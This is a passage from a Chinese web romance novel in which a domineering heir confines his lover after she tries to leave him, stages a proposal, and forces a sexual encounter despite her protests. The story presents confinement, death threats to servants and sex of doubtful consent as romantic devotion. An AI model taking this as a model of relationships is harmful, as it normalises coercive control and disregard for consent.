即便没有了他的支撑,她也不再是那个软弱的林青盏,更不是十六年前找不到哥哥的那个迷茫女孩,她会用自己的方法去守护哥哥,和她爱的人。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-65 第61章 傅随之没把人哄好,反而情况更糟糕。 隔天林青盏连跟他说话都不愿意。 傅随之站在客厅落地镜前,望着坐在花园白色雕花椅子上的女人,嘴里叼着烟,满脸无奈地摘下眼镜,烦躁得很明显。 他捏了捏鼻梁,开口问:“你们惹怒女朋友,会怎么哄人?” 秦楠和傅慎面面相觑,“爷,你问我们两个母胎单身狗?” 傅慎:“他的经验只限于暗恋。” 秦楠不乐意了,“你不暗恋?我看你也没和小灵在一起啊,你没比我好到哪里去。” “我至少敢表白,你敢和小敏说?” 傅随之转身,目光在他们身上来回巡视,指着傅慎:“你喜欢小灵?” 傅慎点头。 他又指着秦楠,“你暗恋小敏?” 秦楠瘪嘴,望天,不想承认自己确实连表白都不敢。 傅随之现在不得不承认自己确实是他们口中无情的人,除了林青盏,他对于任何情感的牵绊都无感,才会这么多年不知道这两兄弟的情感寄托。 不过他现在也没空管。 他拿起电话给徐泽也打了电话。 徐泽也此刻正坐在唐郁南的玛莎拉蒂上,看着她跟她的男友相拥在一起,恨不得将那男人摔在地上。 傅随之在电话彼端说他传授的那些哄女人的方式都没用,他跟林青盏提了结婚,但是林青盏并没有答应,反而更加生气直接不理他了。 徐泽也往后靠,盯着唐郁南很不爽,说话很直白:“傅三,你确定你真的哄了?” “依我对你的了解,你这张脸即便是心情好看着也像是想杀了对方全家,笑起来更是可怕。我猜想,你跟林小姐说想结婚的时候,口吻只会是冷漠得好像赏赐一样才会跟她结婚。” “没有。” “你当然觉得没有,但肯定是这样。你那张脸一直那么臭,你也没觉得。” “……” 让对方不痛快后,徐泽也心情好了许多,还是大发善心地给了傅随之提醒,“傅三,你有没有想过,嘴上哄哄不行,你就用行动证明。林小姐之前无非就是想要能跟你光明正大在一起,你给她就是。” 傅随之站在落地窗前,望着坐在白色椅子上的女人,心底恍然有了思路。 她想要结婚,那他就直接给她一场婚礼就好了。 “傅三——” 傅随之懒得再听,直接挂断电话,转身吩咐傅慎和秦楠去准备婚礼。 傅慎和秦楠震惊。 怎么就突然跳到举办婚礼了? 傅随之不耐:“快去。” “好。”- 花园里。 林青盏坐在圆桌前,手里端着成色很好的翡翠茶杯,垂眸抿了口茶,撩起眼皮望向不远处的花圃。 跟玻璃花房只种植海棠花不同,这花园里会种植很多不同的花朵,有些是当季移植过来的,有些则是会随着一年四季演变走完凋谢和花开的路途。 上个月园中刚移植过来一片保加利亚玫瑰,长得很是好看。 仔细一看,能发现玫瑰旁边长出了几朵金盏花和大岩桐,看起来色泽尤其不一样。 见林青盏望着那边发呆,傅小灵为她将刚出炉的燕窝打开放凉,笑着说道:“那金盏花可能是我妈前面种的留下了点根又长出来了。” 傅小敏疑惑,“旁边那红紫色的是什么花?” 傅小灵摇头,“没见过我也不知道。” 林青盏双手捧着茶杯,神情很是平静,“那是大岩桐。” “大岩桐?”傅小灵笑着,“我第一次知道有花叫这个名字,好大气。” 林青盏看着她莞尔一笑,“金盏花的花语是离别、迷恋。大岩洞的花语是绝望。” 旁边的两姐妹怔愣了下。 傅小敏随即说道:“花语这么不好,下午我让人给铲掉。” 林青盏沉默着,没有阻止。 傅小灵将那盏燕窝往前推了推,“先喝了这个吧。” 林青盏这才将手里的茶杯放下,接过傅小灵递过来的白瓷汤勺,垂眸喝着燕窝。 “今天天气挺好的,阳光灿烂,不如待会我们陪着小姐出去走走?” “不用了。”林青盏摇头,“反正走到哪里都是在他的掌控之下,没意思。” 傅小灵和傅小敏一时间不知道该说什么。 自从林青盏跟傅随之提了分手,傅随之对林青盏下了禁足令,不管她去哪里,傅小敏和傅小灵都会随身跟着,委派的司机是林博昶,摆明了让林博昶盯着她。 林青盏不喜欢这种状态,干脆连望月台都不去了。 喝完手里的燕窝,林青盏又倚靠在白色木椅上发呆。 晨起的阳光将她的脸蛋沾染成金色,明明是变得更好看的,但傅小敏却觉得她没有了以往的那种生动灵气。 纤细的身姿窝在木椅里,好像是电影里的提线木偶。 傅小敏看着很是不忍,“昨夜青翎姐有打电话过来,小姐要不要今天过去望月台一趟。她上次还说酿了青梅酒,应该是时候可以开封了。我也很想要尝一尝。” 林青盏没回答,而是转身看向傅小敏,突然问:“小敏你跟傅随之袒露过心思么?” 没想到她会突然提及这件事,傅小敏怔愣了片刻,下意识看向傅小灵,傅小灵拼命摇头,想说不是她透露的消息。 “没有人告诉我,是我自己猜到的。”林青盏神色温柔,“傅随之虽然看着冷漠无情,但对于身边的人其实都很好。他会将你送到国外不准回来,必然是你犯了什么事。” 傅小敏从来是敢作敢当的人,但今天第一次犯难。 她觉得喜欢傅随之是她的事情,她可以一直藏在心底,但是如果林青盏介意,那往后她可能就无法在林青盏身边保护她了。 傅小敏很喜欢林青盏,觉得待在她身边挺好的。 林青盏不是问责的模样,她抬起明亮眼眸望着傅小敏:“傅随之这人最讨厌别人背叛他。你如果在工作上背叛他,他不可能让你回来。不是公事那只能是私事,能叫他生气将你送出国不准你回来的,恐怕只有感情上的事情。” 傅小敏不得不承认林青盏一直如此聪慧。 她回国这么长时间,林青盏知道却不追问,在这时候提及,傅小敏不知道她想说什么。 她做好了所有应答的心理准备,却没想到林青盏问的是,“他看着极为冷漠,即便是身边的人,他也没给过多少笑脸,你为什么会喜欢他?” 傅小敏眼神不定。 “你不用害怕担忧,我只是很好奇,你喜欢的那个人跟我喜欢的人一样吗?” 傅小敏摇头:“不一样。” 是什么时候开始喜欢傅随之的? 傅小敏仔细回忆了好一会儿,才想起来,“三爷其实不是一开始就这种性情——冷漠、阴狠、残酷,没有笑脸,整天一副高高在上的模样。” 林青盏扑哧笑出声,“原来不是只有我这么以为。” 傅小灵尴尬,也只有她妹妹傅小敏才敢说这样的话。 “三爷之前是跟着棠傛夫人身边长大的。棠傛夫人很温柔,性情却不软弱,她将三爷教育得很好,乐观、开朗、爱笑,很有兄长的模样,很有绅士风度,对我们几个小朋友都很好。即便是于然小姐失踪后,他还是抱着对这个世界最大的友好,一直想着要找到妹妹,以后要倾尽所有对她好。” 傅小敏看向林青盏,“他也是这么对待老爷和老夫人的,觉得他们是他最亲的家人。但老爷子不想让他这样长大,不想让他变成第二个傅清庭。” 林青盏对上傅小敏那双眼眸,心底咯噔了下。 “老爷子说他这一生最大的失败,就是让傅清庭成为和善的商人,他很有绅士风度,在权谋中留有真性情,他愿意相信他的族人、他的兄弟、他的家人都是好的。所以最后他死了。” 傅怀锦曾经亲口说过,他不能让傅随之成为第二个傅清庭,不能也跟着那样死去。所以他想让傅随之成为阴狠毒辣的人,只有这样才能活下去,才能成为上位者。 从一个活泼开朗爱笑的绅士变成没有温度的冷血动物,这个过程并不容易。 “第一次,是三爷捡了一只野兔子,放在海棠苑当宠物养着,被傅鸿源和傅鸿浠抓走,在院子里烤了吃。后面两年断断续续都有这样的情况,只要他身边养着什么宠物,没几天就会丢失,紧接着能看到他们血肉模糊的尸体。” 所有人都觉得是傅鸿源和傅鸿浠故意针对他,也是到了成年后,傅随之才知道,其实这些都是老爷子的放纵。 傅怀锦先是将他心底的那些开朗一点点撕碎,让他因为惶恐害怕和愤怒,将自己生生拔下来一层皮,为了活下去,他只能让自己重塑冰冷没有温度的躯壳。 “最后一击是,他之前身边跟着的人为了保护他,被当场割破喉咙,死在他面前。” 林青盏诧异看向傅小敏。 傅小敏声音哽咽:“三爷之前身边跟着的除了傅慎,还有个叫陈挽的哥哥。陈挽的父亲当年跟老爷同在车上出车祸身亡,留下这个遗孤,夫人一直养在身边,是和三爷一起长大的。” “当时,三爷在学校门口遭到绑架,陈挽一直护着他,要将他带走。原 本他们是可以上车离开的,最后一刻,他看到路边有个小女孩摔倒了,仁慈之心作祟,他弯腰去救人。没想到歹徒气急败坏冲过来,想将刀子架在三爷脖子上,陈挽为了救他将他推开,自己被歹徒意外割破喉咙,当场死亡。” 是因为这件事,傅随之才彻底变了性情,整个人再没有“人气”,只剩下冷冰冰的阴狠犀利。 林青盏垂眸,眼眸深处有着怜惜,但她还是提醒傅小敏,“我是问你喜欢什么样的他,不是让你替他解释。” 傅小敏深深望着林青盏,“小姐,以前我不太懂的,但现在明白了,喜欢不只是一个人的事,如果那个人不喜欢你,那没必要再浪费时间。相反的,如果那个人也喜欢你,是不是也应该不再浪费往后的时间,只要互相珍惜就好。” 林青盏没回答。 “我刚回来那会儿,第一次看到三爷对小姐笑的时候,我很震惊。原来三爷也可以像他最初那样,单纯地快乐。他肯定很爱你,才会愿意在你面前露出真我。” 林青盏望着远处的玻璃花房,神色略显落寞。 迟了。 所有人都看得出来,傅随之是存了心想哄林青盏。 当天早上,傅随之让徐泽也那边送来了十几件古董,其中有个白玉海棠花手镯极为好看。 成色极好的白玉手镯上挂着两朵小小的海棠花,听傅小灵说,是徐泽也那边不知道从哪里得到了一块上好的白玉,专门找人雕刻了这手镯和栩栩如生的海棠花。 那白玉海棠花手镯戴在林青盏纤细手腕,看起来更加灵动好看,微微一晃东,两朵小小的海棠花互相碰撞,发出轻微的声响更是悦耳。 林青盏白皙指尖抚过那海棠花,心底看着是很欢喜,嘴角不自觉往上扬了扬。 傅小灵站在一旁,“夫人,三爷让浮生轩和拾宝阁都收集了好些宝物,这两天陆续都会往这边送过来。” 平日里傅随之也会为她往古玩室里面送宝物,林青盏倒是不觉得有什么稀奇的。 只是这一声“夫人”? 傅小敏笑着解释:“三爷下了命令,往后您就是海棠湾和海棠苑的女主人,以后我们只管听夫人的就是。” 林青盏听着并没有很惊喜,反而觉得鼻尖发酸。 有些事情过于期待,未能得到就会忧虑、思之若狂,即便是最终等到了,心底终归还是有些缺角般的失落感,而不是完全的满足。 她心底想什么,一概不说,傅随之不知道,也没想过仔细猜测,只是一味地塞过来那些她想要的。 宝物一直往这边送来,傅随之还让人去LZ工作室将设计师请过来,亲自给林青盏量了身段,当场设计了婚纱,在林青盏点头后,才开始送回去制作。 婚纱最快七天就能完成。 林青盏倒是不急,只让傅小敏看着安排就好。 傅小敏和傅小灵对视一眼,以为林青盏心底还不太乐意,赶忙将这边的事情告诉在公司的傅随之。 接完电话,傅随之修长手指敲打着桌面,抬眸看向沙发上坐着的徐泽也,眼神阴沉。 送宝物、送婚纱和秀禾服,为她安排一场婚礼,这些他都按照徐泽也说的安排了,为什么她还是不满意? 徐泽也没等他开口,就知道他所想,思考片刻说道:“是不是还缺少一场求婚?” “求婚?”傅随之点头,“有道理。” 他转身让秦楠和傅慎一起去安排。 秦楠和傅慎这两人,白天里要做方案和京都周氏集团那边对接,工作结束还要紧接着张罗傅三爷的哄人计划,忙得脚不沾地也不敢有怨言,只要他们家三爷开心就好。 三爷一不开心,他们就要遭罪。 自从林青盏说了分手的话,傅随之就让傅小灵和傅小敏时时刻刻盯着他,说是保护其实是不想她有任何机会可以离开。 林青盏干脆哪儿都不去,在后花园坐了坐,就起身去古玩室鉴赏宝物,直至傍晚时分,她抬眸看到天边的晚霞像是油画般色彩斑斓,才恍然反应过来,时间已经悄然流逝。 手机叮铃铃地响了声。 林青盏将手里的商朝鼎放入木架,摘掉白手套,露出那双纤细白皙的手掌,缓缓站起身,从旁边的咖色木桌捞起手机。 看到那个陌生号码发来的消息:「还剩一天。」 稍微动脑猜一下就知道这个号码是谁的。 林青盏不甚在意将短信删除,没有理会。指尖点在屏幕上,很快按下一窜数字,拨了出去。 只两秒钟,电话彼端传来林博蘅的声音:“小纾。” “博衡哥,能不能请你帮我个忙?” 那端的林博蘅顿了两秒,好似猜到了林青盏的想法,没有迟疑,答应了下来。 跟林博蘅讲完电话后,她照例将通话记录删除,握着手机走出古玩室,绕过走廊往前厅走去。 她提着裙摆,走上阶梯,抬起眼眸的瞬间,整个人怔住。 她看到玻璃花房门口的走廊上铺满了红色的玫瑰花瓣,傅随之穿着黑色西装白色衬衫站在那里。 他的脸庞和平日里一般棱角分明,浅棕色眼眸里却沁着光,左手抓着一把红艳的玫瑰花,卸下身上所有冷漠冷酷,成了最平凡的男人,以憧憬的眼神望着她。 林青盏知道他想做什么。 源源不断送来的宝物哄她开心,为她高调买下的宅子送她做礼物是为了让她安心,叫来她最喜欢的设计师为她设计婚纱,还有现在脱掉了他最习以为常的黑色衬衫,穿上她最想看到的白色衬衫,成了她幻想中美好的伴侣,慢慢地慢慢地朝她走来。 是想弥补她的所有遗憾,为她送上她最想要的求婚。 傍晚时分,天空变成了油画里浓重的橘色。 她穿着一袭松软的雪纺长裙,长发披散而下,白皙脸蛋被晚霞映照得美丽无比,身上的温柔气质更加赫然,像是天上掉落的小仙女般。 傅随之踩着高级定制的黑色皮鞋走到她面前,凝神望着她,随后单膝跪地—— 与此同时,林青盏转过身,没有关注他精心安排的求婚场地,甚至也没有给单膝跪地的他一个眼神,疾步往楼上走去。 傅随之单膝跪在玫瑰花瓣中央,捧着九十九朵红玫瑰的手掌悬空而在,透过高大的玻璃眼睁睁看着那纤瘦身影消失在拐角处。 身后站着的一队人马彻底傻眼。 他们以为傅随之做到如此,林青盏必然很感动,肯定会答应傅随之的求婚,却怎么都没想到会是眼前这样的场景。 寂静的空气像是突然结了冰,所有人都不敢呼吸。 下一秒,傅随之站起身,松开手里的玫瑰花束,鲜艳欲滴的玫瑰花掉落在旁边那九千九百九十朵玫瑰花上,发出“嘭”的一声巨响。 傅随之眼底的光彻底散开,嘴角的弧度也消失无影踪,瞬间变回那位人人惧怕的傅三爷。 他迈步往里面走去,手指捏着蓝宝石袖口随意扯下来丢在地上,紧接着慢慢解开衬衫袖口。 身上的黑色西服外套被扯下来挂在二楼走廊的木雕扶手上,他再也没有耐心,用力扯掉白色衬衫最上面的扣子,脸色阴沉走进卧室里。 林青盏站在落地窗前,听到声音侧过脸来看他,那双眼眸和初见般清澈透亮。 傅随之心底压着的情绪在望着她眼睛时,短暂地得到了缓解。但只是片刻,紧接着这些天压抑着的情绪像是海浪般重新翻涌而来。 他再也忍不住,冲上去,将人摁在落地玻璃上,用力亲吻着她。 林青盏单薄脊背贴着冰凉的玻璃,完全没有思考的时间,嘴唇被傅随之狠狠咬住。 双手抵着他胸膛刚想将人推开些许,却反被他抓过头顶压在玻璃上。这样的姿势更方便了傅随之的夺取。 他捏着她下巴,迫使她抬起头去看他。 明明就是单纯无害的一双眼睛,为什么绝情起来这么叫人想掐死她,偏偏他一点都不舍得训她,只能随着她如此将他的脸面丢在地上践踏。 “知道我要做什么?”傅随之炙热嘴唇贴在她嘴角,“为什么转身就走?” 林青盏仰着头,对上他犀利眼眸,没有畏惧,反而带着不知死活的孤勇,笃定道:“三爷,我早和你说过,我要跟你分手。” 一句话成了最尖锐的匕首,朝着傅随之的胸口狠狠扎下去。 傅随之眼底的情绪像是海啸般翻涌着,林青盏却像是完全没有看到似的,咬着牙继续说道:“说分手,三爷可能不爱听,毕竟从一开始我也不过是三爷养着的一只金丝雀,哪里有什么权利说分手。” 傅随之眼底的阴沉愤怒几乎压制不住,“林纾,你一定要这么看轻自己来故意扎我的心?” 林青盏没有因为他的恼怒后退,反而往前走了一步,指尖点在傅随之胸口,“看轻自己?不,三爷,是我太过自傲,没认清自己。不然怎么会叫三爷这样玩弄在掌心里,还傻乎乎地以为你对我不一样,以为我们能有未来?” 傅随之捏着她的下巴,眼底压制着恼怒和阴冷,“我玩弄你?” 林青盏死死盯着傅随之,“三爷一开始就知道我叫林纾,是林峰平的女儿,不是吗?” 傅随之怔住。 第62章 望着他那略显慌乱的眼眸,林青盏知道事情真如她所想。 “慕觞淙和傅鸿源联合将我送到你这边的时候,你其实并没有想留我下来吧,甚至于觉得我不过是个戏子,以为我甘愿为棋子入局,来 埋伏你身边,所以你想看我到底耍什么花招。所有人都是这么以为的,但傅三爷高明之处就是你的心思别人永远看不透。” “我在老宅的时候,你就让人调查了我的身世。你知道傅清檐当年买通我父亲去害你父亲,认定我父亲手里会有保命的证据,你需要那些东西为你父母报仇,所以你才勉强将我留下。” 林青盏望着他,“三爷真是好手段,明明已经有了安排,还那样沉得住气,叫我以为望月台会有无妄之灾,甘愿将自己送到你身边,成了你掌心的金丝雀。” “小纾。” 傅随之伸手要去抓她的手腕,却眼睁睁看着她嫩滑的手臂像是鱼儿一样溜走。 这一刻,他的心彻底沉下去。 林青盏没让他抓住,她想要彻底决裂。 “原来我心悦喜悦时,三爷不过将我当猴耍;原来我畅想与你有结局时,你想着的只是从我这里得到你想要的东西;原来你不是不期待我们的孩子,而是你压根、从来没有想让他们来到这个世界。” “不是的,小纾——” 傅随之想要去碰她的脸,林青盏侧身躲开,“我承认我是林峰平的女儿,但我确实不知道我父亲之前藏的东西在哪里。这个东西到底是不是存在的,我也不清楚。三爷要真想找到那些,还不如去海城仔细找找,也好过在我身上浪费时间。” 丢下这句话,林青盏从他身侧绕过想要离开,被他拽住手腕往回拉。 他勾住她的腰,将人搂入怀中,锐利的脸庞埋在她颈窝,“小纾——” 他想要解释,却也知道无从说起。 一开始,知道她的身份,傅随之确实是因为想从她下手调查,才会将人留在身边的,可后面的事情并不是她想的这样。 林青盏推开他的手臂,拒绝他的拥抱。 傅随之转过身,看到林青盏往门外走去,知道她不想看到自己,是想彻底离开,他恍然追上抓住她的手臂,将人困在怀里。 林青盏被他彻底惹怒,握紧拳头对着他胸膛砸下去,发狠砸了几下完全不解气,反而更加难受。 她手掌抵着他胸膛用了力想将他推开,却怎么也推不动这结实如松柏的男人。 傅随之从小在阴谋中长大,阴狠性情是刻在骨子里的,能如此容忍林青盏发脾气,已经是他难有的耐心。 但耐心会殆尽。 所有的情绪在她的挣扎中像是棉花一样膨胀,快要将他的身体撑破爆炸。 傅随之几乎失控,手指掐着她的下巴,低下头发了狠去吻她,咬住她的柔软嘴唇,迫使她微启唇,舌尖挤进她唇齿间,与她呼吸相融。 林青盏要将他推开,但傅随之气性上来半点不让她,她的力量怎么可能敌得过他。 白皙手腕被抓住,林青盏半点无法动弹。 傅随之手臂勾住她的腰,半点不解风情地将她扛起来,丢进柔软的大床铺中,他单膝跪在床上,随意扯掉黑色领带,将衬衫也脱掉,用力扔在灰色地毯上。 林青盏躺在柔软的被子里,抬起头,对上傅随之那双浅棕色眼眸,看到他眼眸深处翻涌而来的欲和怒,还没来得及思考,就被他压过来的身影彻底覆盖。 “小纾,你真的不要我吗?”傅随之吻着她,“你告诉我,要不要?你说不要,我就听。” 在这件事上,傅随之已经熟练自如,贴上她的嘴唇时,全身所有细胞的欲望都被彻底激起。 他抓住她的手掌,捏在掌心,带着她去摸,去为他攀峰助力。 她气得用力捏住,低头咬住他的肩膀,发了狠地在他结实的肌肉留下深刻的牙印。 她自己都感觉到脸颊由于用力略微发酸,但身上的男人半点不为所动,她抿了抿红唇:“傅随之你这个混——” 话都没说完,傅随之掐着她的脸颊,再次吻过来。 窗外月光美好,洒落在玻璃窗上。 只要月亮悄然探头,就能看到床铺上相叠着的身影。 傅随之手掌捧着林青盏的脑袋,没让她挣脱,低头找到她的唇,疯狂地去吻她。 这绵长的吻将林青盏的气息都夺走,等她再抬眸想开口时,感觉身上的纱裙被傅随之撕成条状。 他从来都是如此强夺的姿态,俯视着她,眼神里的欲都带着点冰冷,撕破她的防线,轻易占领她最柔软的花园。 她仰起头,白皙脖颈绷着青色的脉络,嘴唇咬了咬才松开,找到间隙能够说话了,就要去刺他:“傅随之,我说过要和你分手,我要分手!” 傅随之眼神沉了几分,动作是没有停的,“为什么要分手?” 这个问题他之前一直想开口询问,但当时他以为她是因为失去孩子受了刺激,今天才发现她什么都知道,那原因必定不止如此。 “你在意的事情,我可以和你解释。” 这件事着实有些为难傅随之。 他这人从小到大,一直被打压教育告诉他什么心思都不能外露,人必须是冷漠无情才能掌控所有。 可现在因为爱她让她,他要将自己身上的这股无情全然推翻掉,艰难程度不亚于摧毁大厦重建。 傅随之停顿片刻,最终也只说出:“我确实有意将你留下,你说得没错,我没有和你说明很多事情,但我不曾骗你。” 原本压抑的心思,因为身体上的痛,和他明晃晃将事情挑开说的直白,让她瞬间感觉自己好像被暴露在太阳底下,完全没有了可以隐藏的心思。 林青盏鼻尖酸涩,眼眶也跟着红了,“傅随之,我不信你了。” 一句话将傅随之彻底打入死牢。 所有在心底翻涌挣扎着想说出口的解释,在这一刻瞬间变成灰烬,傅随之没有办法,只能按照自己的方式来。 他捏住林青盏脖颈后面的软肉,更加用力地往上顶,看到她难耐的表情,心底是痛的,但又有种她还在的真实感。 “小纾,你可以不信我,可以恨我,但无论如何,你最好乖乖待在我身边。我不会放你走。” 他低头去亲吻她的唇,像是说给她听的话,又像是说给他自己听的。 “我不可能放你走,我要你一辈子都在我身边。” 只有这样他才能感觉自己还活着。 他吸吮着她的唇,宽厚手掌抚着雪白轻柔,动作逐渐从强夺变成温柔的姿态,“婚礼、名分和孩子,你想要的我都会双手奉上。” 他温柔地将所有都倾注在她身上,最后一 刻声音都变了,“你最好别想着离开,否则——” 林青盏被他弄得全身颤抖,纤细指尖死死抠着他的手臂,都无法缓解此刻的身体反应。 她和他永远都是如此合拍,即便到了此刻,她也不得不承认这点。 但这是最后一次了- 傅随之彻底将林青盏关起来了,连外出都不让。 他知道她性格执拗,起了要离开他的心思,怕是会想方设法都要做到。 他不敢冒险,让她有任何可乘之机。他不能让她离开他身边。 傅小敏和傅小灵接到的命令是:「寸步不离跟着她,人丢了,你们也别想活。」 整个海棠湾保卫也严防死守着。 林青盏倒是表现得很淡然,什么话都没说,只躺在后花园的摇摇椅上,悠然晒着太阳。 傅随之嘱咐完,看了眼她的身影,终究没再说什么,转身走出海棠湾。 门口等候的迈巴赫敞开着车门,傅随之上了车,看到副驾驶的林博昶,冷眼相待。 林博昶表情有些受伤,“三爷,我这次可是给你带来了好消息,你就不能对我脸色好一点吗?” 傅随之干脆连看都不看他,望向车窗外。 林博昶吃瘪,撇了撇嘴。 秦楠受不了,“你他妈能不能别一副暗恋三爷不成的苦逼表情,有话就说有屁快放。” 真是受不了这小子“追星”的样子,人家追星追的是明星,他从来追的都是三爷,每次看到三爷都眼冒星光,恨不得扑上去。 好.变.态! 林博昶没理秦楠,转身跟傅随之说道:“是宋雅薇那边得到的消息,说之前在LZ工作室,沈钰铭偷偷去找过林小姐,跟林小姐说了她的身世,提到了她父亲和你父亲的渊源。” 傅随之终于舍得回头看他。 难怪她会知道当年的事情。 沈家想要调查点事情并不难,沈钰铭之前被他那样下套现在不得不和傅鸿源结婚,自然是要找他不痛快的。 沈钰铭的消息肯定是从沈老那里来的,也有可能她所作所为是沈老的授意,这些他之后会一一讨回来。 “她提出的条件是,让林小姐盗取爷手中关于蓝盛的所有资料,林小姐得到的条件是什么,宋雅薇倒是没说。” 傅随之脸色沉下来。 没说他也能猜到,她现在一门心思想要离开他,沈钰铭想必是允诺了林青盏会帮她离开他。 傅随之脸色冷得可怕,吓得林博昶没敢再说下去。 秦楠从后视镜看了傅随之一眼,呼吸都放轻许多。 但该来的还是来了。 刚到傅氏集团总裁办公室,傅随之连办公室都还没进,大吼一声:“秦楠、傅慎!” 两个人立马回:“是。” “进来!” 秦楠咬牙。 怎么每次受伤的都是他?! 今天爷心情不好,肯定又要挨骂一整天。 好不容易熬到晚上八点,傅随之彻底敲定了蓝盛集团的项目资料,跟周氏集团那边也对接好了。 所有的前期准备都已达成,只待明天早上傅随之亲自飞京都,和周聿淮签订合同,蓝盛项目就彻底定下来了。 秦楠扭了扭手腕,前方的傅随之突然叫:“秦楠。” “是!” 一整天的,吓得他现在都是本能反应了。 “私人电脑带上,回海棠湾。” “好!” 诶? 不对啊。 私人电脑带上干嘛? 那里面都是公司的机密啊,一般不是锁起来? 他可怜兮兮看向傅慎,傅慎点了点头。 秦楠要吐血了,林博昶早上刚送来的消息说夫人要偷商业机密,三爷这会儿就上赶着要送过去让夫人偷? 他怎么都没想到他们傅三爷竟然是恋爱脑!!- 海棠湾里。 兰青翎和何青素坐在客厅里等候,何青素四处看看,不得不承认这里比慕觞淙为她安置的别墅好上千倍。 她抿了抿唇,心底不是滋味,但也懂得劝自己,同人不同命。 五分钟后,傅小敏去而复返,将她们往楼上请。 二楼有一间很宽敞的茶歇室,是傅随之平日里用来招待那几位兄弟的。 这里的布置和今安茶楼相似,中央摆放着古木茶桌,茶具一应俱全。 此刻,林青盏穿着烟青色旗袍,坐在茶桌面前,傅小灵在旁边为她泡茶。 看到兰青翎和何青素,林青盏细眉弯弯,招呼她们入座。 兰青翎原本很担心林青盏,看到她安然无恙这才放心了些。 之前林青盏被傅随之带走,傅随之还会跟朝露打声招呼,替林青盏请假,可最近傅随之将林青盏关起来,连请假都不请了,直接不让人去望月台。 兰青翎知道豪门水深,以为林青盏出了什么事情,就叫上何青素一起过来看看她。 知道她们来意,林青盏笑了笑,神色是温和的淡然的,“我没什么事,只是身体现在大不如从前,只能休息几日。” 她看向兰青翎解释道:“之前师姐说要重新排我的戏,我一直没敢让师兄和师姐安排下去,就是担心这个。” 兰青翎知道她失去孩子没多久,当时休息了快一个月,但这种事情很伤身体,林青盏受不住要休息情有可原。 “身体不舒服,那你就好好休息。”兰青翎安抚道:“现在青素也能独当一面了,再加上刚培养的小花旦,演出都不是问题。” 林青盏点头:“这样我也安心些。” 三人坐着喝茶聊天了会儿,林青盏嘱咐傅小灵去准备甜点过来,傅小灵起身离开,屋里只剩下她们三人。 刚巧兰青翎接到阮青山电话,起身去阳台接听,林青盏转身看向何青素,刚要开口,何青素倒是先发制人:“你是不是想找我帮忙?” 林青盏顿住。 “我今天过来,淙哥也知道,他让我转达一句话:‘当时将你送过来,他也是逼不得已,如果你现在想离开,他可以帮你。’他什么都没跟我交代,只说让我原话转达就行,我心底不想让你和淙哥接触,但如果你真的有难,我可以帮你这一次。” 林青盏深深看着她,启唇说了句:“谢谢。”- 秦楠亲自开车,送着傅随之回到海棠湾。 傅随之下车时,将手边的私人电脑一并带走,秦楠看了眼,真是恨不得磕头撞死算了。 熬了两个多月做出来的项目,现在就要这么拱手让人? 秦楠和傅慎即便再不愿意也没办法,他们不敢阻挠傅随之。 一身黑色西装的傅随之走进客厅,手里提着笔记本电脑,目光扫过没看到林青盏的身影。 李婶从厨房走出来,看到他提醒了句:“下午望月台的兰小姐和何小姐过来找夫人,三人在楼上喝了会儿茶。她们走后,夫人在卧室休息,晚饭都还没吃。” 傅随之点头,“把饭菜端上来,我陪她吃。” “好。” 傅随之迈步往楼上走去。 他推开卧室房门,看到林青盏坐在落地窗前的单人沙发里,膝盖上放着一本绿皮书。 一直悬着的心才落下来,他嘴角弯着浅浅的笑,迈步朝她走过去。 林青盏身上还是那袭绾青丝旗袍,依靠在沙发里,长腿搭在旁边的牛皮矮凳,那本绿皮封面的《绿山墙的安妮》搁在她腿上。 她纤细指尖捏着书页,往左翻阅。 明显听到了脚步声,她却连抬眸看他都不愿意。 傅随之脸色阴沉,却只能忍着。 他弯腰将她抱起来,自己窝进沙发里,让她坐在他身上,如此林青盏不得不勾着他的脖子。 他拿过她手里的书本,随意翻阅着,“《绿山墙的安妮》加拿大女作家露西莫德蒙格马利所著的长篇小说,被誉为‘世界上最甜蜜的少女成长故事’。安妮自幼失去双亲,被马修与玛丽拉兄妹从孤儿院接回爱德华岛抚养。她活泼乐观,想象力丰富,又真诚善良,聪明勤奋,故事最后她赢得尊重,通过努力考入女王学院,成为优秀教师。(注)” 林青盏撩起眼睫望着傅随之,神色很淡,眼眸里倒是难得闪着光。 “你在背百度百科么?” 傅随之笑出声,“你总是抱着这本书,我随意搜索看了眼。” 林青盏知道他记忆力很好,之前他说顾宴迟有过目不忘的本领,其实他也差不多。 而且,他是因为她在看,才会动了心思去了解这本书的,这点让林青盏感觉心情不错。 她将绿皮书拿回来,继续翻阅,即便是背靠着他滚烫的胸膛,竟也能做到心神安定,眼睫都不眨一下。 傅随之没她那么镇定,垂眸看了眼她,手指勾住她鬓角的发丝拂到耳后,这样能让他清晰看到她的整张脸庞。 他低身凑过 去,嘴唇贴着她脸颊蹭了蹭,“现在是连看都懒得看我了?” 林青盏不想跟他亲密,转身往旁边躲开。 要不是他手臂勾着她的腰,她老早跳下去了,还能让他这会儿慢悠悠蹭着。 傅随之就是故意的。 他掐着她的下巴将她的脸掰回来,逼迫她与他四目相对,“还没死心?” 林青盏如星光闪耀的眼眸望着他,没有说话,也不反抗,就那么随意他掐着自己。 傅随之凑过去亲了亲她的嘴角,手劲儿柔和了些许,“我说过我不会让你离开,死心吧。” 林青盏将他手背打开,“三爷一开始留下我,就是为了我父亲手里的东西,现在东西都没拿到,自然是不可能放我走。” 她神色很平淡,说出的话却像是匕首一刀刀刺进傅随之心脏。 “我能理解三爷,东西拿不到你无法报仇,不过还是要提醒三爷,我父亲去世的时候我年纪很小,他压根没把东西交给我,也或者那个东西从一开始就不存在。所以,三爷不必费神如此哄骗我,我给不了你要的东西。” 傅随之眼神阴沉得像是寒潭,但他拿林青盏没有任何办法。 “小纾,我现在说什么,你都只会认为我有阴谋诡计。多说无益。” “那就不要说了。”林青盏推开他的手臂,“我早就不想跟你说话!” 傅随之不放手,手臂箍住她的腰将她往自己怀里摁过来,“现在就不喜欢和我说话了,当初也是你先来招惹我的。” 林青盏情绪上来,有些口不择言,“对,是我招惹你,是我引诱你,心甘情愿成为你傅三爷的笼中雀,所以我落得什么结局都是我自找的。我活该你被玩弄于掌心,我活该失去还未出生的孩子,我活该——” 傅随之不想让她再说下去,将人紧紧抱在怀里,揉了揉她的肩膀。 “小纾,那是意外。孩子没了,我们可以再要,好不好?” 林青盏不挣扎了,面如死灰,像是玩偶一样被他抱着。 “傅随之,真的是意外吗?你堂堂傅三爷,连自己还未出生的孩子都保护不了吗?” 傅随之沉默着不知道该如何回答。 她的声音越发得轻,像是白云一样随时会消散。 